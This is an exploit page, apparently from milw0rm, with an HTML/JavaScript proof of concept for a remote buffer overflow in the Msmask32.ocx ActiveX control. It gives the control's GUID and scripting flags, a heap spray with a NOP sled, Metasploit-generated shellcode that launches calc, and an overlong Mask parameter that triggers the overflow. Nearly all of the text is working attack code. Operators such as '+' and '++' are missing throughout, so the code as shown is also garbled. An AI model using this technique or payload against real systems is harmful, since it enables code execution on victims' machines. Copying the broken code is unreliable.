Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote Buffer Overflow Exploit Author: Koshi

Original POC: http://www.milw0rm.com/exploits/6244 ( Not by me ) My first ActiveX exploit, learned quite a bit playing with this one.

Heaps are handy. #################################################

Loaded File: C:WINDOWSsystem32MSMASK32.OCX

Name: MSMask

Version: 1.1

Class MaskEdBox

GUID: {C932BA85-4374-101B-A56C-00AA003668DC}

Number of Interfaces: 1

Default Interface: IMSMask

RegKey Safe for Script: False

RegKey Safe for Init: True

KillBitSet: False

#################################################

gr33tz: Rima my baby, str0ke, mess, and to all of those who have helped me over the years! <input language=JavaScript onclick=doIt() type=button value="Test Exploit">

<script language="JavaScript"> function doIt()

{

var body='<OBJECT CLASSID="CLSID:C932BA85-4374-101B-A56C-00AA003668DC" width="10"><PARAM NAME="Mask" VALUE="';

var body1='"></OBJECT>';

var buf1 = '';

for (i=1;i<=1945;i ){buf1=buf1 unescape("");} // win32_exec - EXITFUNC=process CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com var shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4937%u4949%u4949%u4949%u4949"

"%u4949%u4949%u4949%u4949%u5a51%u456a%u5058%u4230%u4130%u416b"

"%u5541%u4132%u3242%u4242%u4142%u4230%u5841%u3850%u4241%u7875"

"%u7969%u6d6c%u3038%u6544%u7550%u7350%u6e30%u516b%u7755%u4c4c"

"%u414b%u656c%u3355%u4348%u3831%u4c6f%u304b%u464f%u4c78%u314b"

"%u374f%u3450%u4a41%u624b%u4e69%u666b%u6e54%u666b%u6a61%u304e"

"%u3931%u4f50%u4c69%u6f6c%u5974%u3450%u3534%u5957%u7951%u565a"

"%u776d%u6f71%u7832%u6b6b%u6744%u714b%u6744%u7754%u3474%u4b35"

"%u6e55%u436b%u466f%u6544%u3851%u506b%u4c66%u564b%u306c%u4c4b"

"%u414b%u374f%u656c%u5a51%u6c4b%u654b%u4c4c%u674b%u6871%u6e6b"

"%u7169%u654c%u6674%u5964%u4653%u4951%u6550%u6c34%u634b%u3470"

"%u4b70%u4b35%u5470%u3438%u6e4c%u436b%u6670%u4e6c%u626b%u7550"

"%u4c4c%u6e6d%u536b%u3758%u4a78%u554b%u4c59%u6d4b%u6e50%u6550"

"%u6550%u4750%u6c70%u434b%u6558%u716c%u464f%u5a51%u4156%u3070"

"%u4d56%u6c59%u4e38%u4963%u7150%u526b%u7570%u7138%u4b6e%u4b68"

"%u3152%u6563%u4c38%u5958%u6e6e%u746a%u714e%u4b47%u7a4f%u7047"

"%u6363%u5251%u634c%u5553%u4550");

// A read through "Heap Feng Shui in JavaScript" shed some

// much needed light on this topic for me. Thank you Alexander Sotirov.

var shellcodeSize = (shellcode.length * 2);

var spraySled = unescape("%u9090%u9090");

var heapAddress = 0x0c0c0c0c;

var heapBlockSize = 0x100000;

var spraySledSize = heapBlockSize - (shellcodeSize 1);

var heapBlocks = (heapAddress heapBlockSize)/heapBlockSize;

var x = new Array();

while (spraySled.length*2<spraySledSize)

{

spraySled = spraySled;

}

spraySled = spraySled.substring(0,spraySledSize/2);

for (i=0;i<heapBlocks;i )

{

x[i] = spraySled shellcode;

}

document.write(body buf1 body1);

} </script>

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